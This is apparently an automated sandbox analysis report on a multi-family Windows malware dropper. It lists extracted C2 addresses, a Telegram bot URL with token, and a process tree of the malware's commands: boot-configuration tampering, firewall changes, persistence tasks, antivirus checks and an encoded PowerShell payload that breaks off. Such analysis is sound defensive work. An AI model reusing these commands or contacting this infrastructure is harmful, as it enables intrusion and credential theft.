Overview

overview

10

Static

static

7

25cc387245...in.exe

windows7-x64

10

25cc387245...in.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    18-05-2024 11:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    25cc387245bf79b1a64e007728a619224066d935278d0ff7905af41703210368.bin.exe

  • Size

    1.7MB

  • MD5

    00e4894f209ea1c0ca632ddbb138d03b

  • SHA1

    3849b2bbac39e46b01fd8fa468fdd25309aa5ffd

  • SHA256

    25cc387245bf79b1a64e007728a619224066d935278d0ff7905af41703210368

  • SHA512

    8964c1e928fdafaea8012e44349571b3cad5a5f5b0f7c014fde6317f82e099a2a907fb3d2058b622ba75546ebefe08808d5bbf131c39050061027f2edbabba6d

  • SSDEEP

    49152:cSIuwTOYymK14I8O55gir4Rj7Cwhc2DlK:UOp1uOK5lK

Score
10/10
amadeygluptebaredlineriseprosectopratxworm118befcc767c0vicdiscoverydropperevasionexecutioninfostealerloaderpersistenceratrootkitspywarestealerthemidatrojan

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

18befc

C2

http://5.42.96.141

Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain

Extracted

Family

risepro

C2

147.45.47.126:58709

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

redline

Botnet

Vic

C2

beshomandotestbesnd.run.place:1111

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000
Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect Xworm Payload 3 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 1 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
    evasiontrojan
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    evasion
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 49 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 25 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Windows security modification 2 TTPs 7 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 5 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 38 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\25cc387245bf79b1a64e007728a619224066d935278d0ff7905af41703210368.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\25cc387245bf79b1a64e007728a619224066d935278d0ff7905af41703210368.bin.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:2548
      • C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
        "C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
          "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2560
          • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
            "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1860
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 96
              6⤵
              • Loads dropped DLL
              • Program crash
              PID:1140
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2028
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2028 -s 100
              6⤵
              • Loads dropped DLL
              • Program crash
              PID:1776
          • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1632
            • C:\Users\Admin\AppData\Local\Temp\pl.exe
              "C:\Users\Admin\AppData\Local\Temp\pl.exe"
              6⤵
              • Executes dropped EXE
              PID:2892
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /k move Descriptions Descriptions.cmd & Descriptions.cmd & exit
                7⤵
                • Loads dropped DLL
                PID:688
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  8⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2536
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /I "wrsa.exe opssvc.exe"
                  8⤵
                    PID:1540
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3004
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
                    8⤵
                      PID:2988
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c md 334873
                      8⤵
                        PID:2784
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /V "EnquiryAnContributionRefers" Tank
                        8⤵
                          PID:2256
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c copy /b Ph + Shoot 334873\r
                          8⤵
                            PID:2588
                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\334873\Rent.pif
                            334873\Rent.pif 334873\r
                            8⤵
                            • Executes dropped EXE
                            • Checks processor information in registry
                            • Modifies system certificate store
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            PID:1068
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c start "" "C:\ProgramData\BAAEHDBFID.exe"
                              9⤵
                                PID:3904
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\334873\Rent.pif" & rd /s /q "C:\ProgramData\IDGIJEGHDAEC" & exit
                                9⤵
                                  PID:3932
                                  • C:\Windows\SysWOW64\timeout.exe
                                    timeout /t 10
                                    10⤵
                                    • Delays execution with timeout.exe
                                    PID:3968
                              • C:\Windows\SysWOW64\PING.EXE
                                ping -n 5 127.0.0.1
                                8⤵
                                • Runs ping.exe
                                PID:2236
                        • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                          "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
                          5⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of WriteProcessMemory
                          PID:2656
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                            6⤵
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:3028
                            • C:\Windows\SysWOW64\sc.exe
                              Sc stop GameServerClient
                              7⤵
                              • Launches sc.exe
                              PID:2164
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove GameServerClient confirm
                              7⤵
                              • Executes dropped EXE
                              PID:760
                            • C:\Windows\SysWOW64\sc.exe
                              Sc delete GameSyncLink
                              7⤵
                              • Launches sc.exe
                              PID:1524
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove GameSyncLink confirm
                              7⤵
                              • Executes dropped EXE
                              PID:316
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:1388
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService start GameSyncLink
                              7⤵
                              • Executes dropped EXE
                              PID:2620
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                            6⤵
                              PID:2864
                              • C:\Windows\SysWOW64\sc.exe
                                Sc stop GameServerClientC
                                7⤵
                                • Launches sc.exe
                                PID:1744
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService remove GameServerClientC confirm
                                7⤵
                                • Executes dropped EXE
                                PID:796
                              • C:\Windows\SysWOW64\sc.exe
                                Sc delete PiercingNetLink
                                7⤵
                                • Launches sc.exe
                                PID:2232
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService remove PiercingNetLink confirm
                                7⤵
                                • Executes dropped EXE
                                PID:2488
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:1380
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService start PiercingNetLink
                                7⤵
                                • Executes dropped EXE
                                PID:2568
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                              6⤵
                                PID:2520
                                • C:\Windows\SysWOW64\sc.exe
                                  Sc delete GameSyncLinks
                                  7⤵
                                  • Launches sc.exe
                                  PID:2596
                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                  GameService remove GameSyncLinks confirm
                                  7⤵
                                  • Executes dropped EXE
                                  PID:2208
                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                  GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  PID:2216
                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                  GameService start GameSyncLinks
                                  7⤵
                                  • Executes dropped EXE
                                  PID:2112
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                6⤵
                                  PID:1124
                              • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:576
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 576 -s 96
                                  6⤵
                                  • Loads dropped DLL
                                  • Program crash
                                  PID:2056
                              • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:1660
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1660 -s 52
                                  6⤵
                                  • Loads dropped DLL
                                  • Program crash
                                  PID:2388
                              • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                                5⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Modifies system certificate store
                                PID:1180
                                • C:\Windows\SysWOW64\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                                  6⤵
                                  • Creates scheduled task(s)
                                  PID:1344
                                • C:\Users\Admin\AppData\Local\Temp\1000266001\dl.exe
                                  "C:\Users\Admin\AppData\Local\Temp\1000266001\dl.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:468
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /im "dl.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1000266001\dl.exe" & exit
                                    7⤵
                                      PID:2112
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /im "dl.exe" /f
                                        8⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1048
                                  • C:\Users\Admin\AppData\Local\Temp\1000267001\toolspub1.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000267001\toolspub1.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    PID:2840
                                  • C:\Users\Admin\AppData\Local\Temp\1000268001\4767d2e713f2021e8fe856e3ea638b58.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000268001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2208
                                    • C:\Users\Admin\AppData\Local\Temp\1000268001\4767d2e713f2021e8fe856e3ea638b58.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000268001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                      7⤵
                                      • Windows security bypass
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Windows security modification
                                      • Adds Run key to start application
                                      • Checks for VirtualBox DLLs, possible anti-VM trick
                                      • Drops file in Windows directory
                                      • Modifies data under HKEY_USERS
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1504
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                        8⤵
                                          PID:2600
                                          • C:\Windows\system32\netsh.exe
                                            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                            9⤵
                                            • Modifies Windows Firewall
                                            • Modifies data under HKEY_USERS
                                            PID:1048
                                        • C:\Windows\rss\csrss.exe
                                          C:\Windows\rss\csrss.exe
                                          8⤵
                                          • Drops file in Drivers directory
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Adds Run key to start application
                                          • Manipulates WinMon driver.
                                          • Manipulates WinMonFS driver.
                                          • Modifies system certificate store
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:468
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                            9⤵
                                            • Creates scheduled task(s)
                                            PID:1732
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /delete /tn ScheduledUpdate /f
                                            9⤵
                                              PID:1344
                                            • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                              C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                              9⤵
                                              • Executes dropped EXE
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:2488
                                            • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                                              "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                                              9⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Modifies system certificate store
                                              PID:2460
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3336
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3348
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3408
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3388
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3380
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3368
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3456
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3484
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3504
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3540
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3508
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -timeout 0
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3572
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3560
                                            • C:\Windows\system32\bcdedit.exe
                                              C:\Windows\Sysnative\bcdedit.exe /v
                                              9⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:1568
                                            • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                              C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                              9⤵
                                              • Executes dropped EXE
                                              PID:2660
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                              9⤵
                                              • Creates scheduled task(s)
                                              PID:3320
                                    • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      PID:2172
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB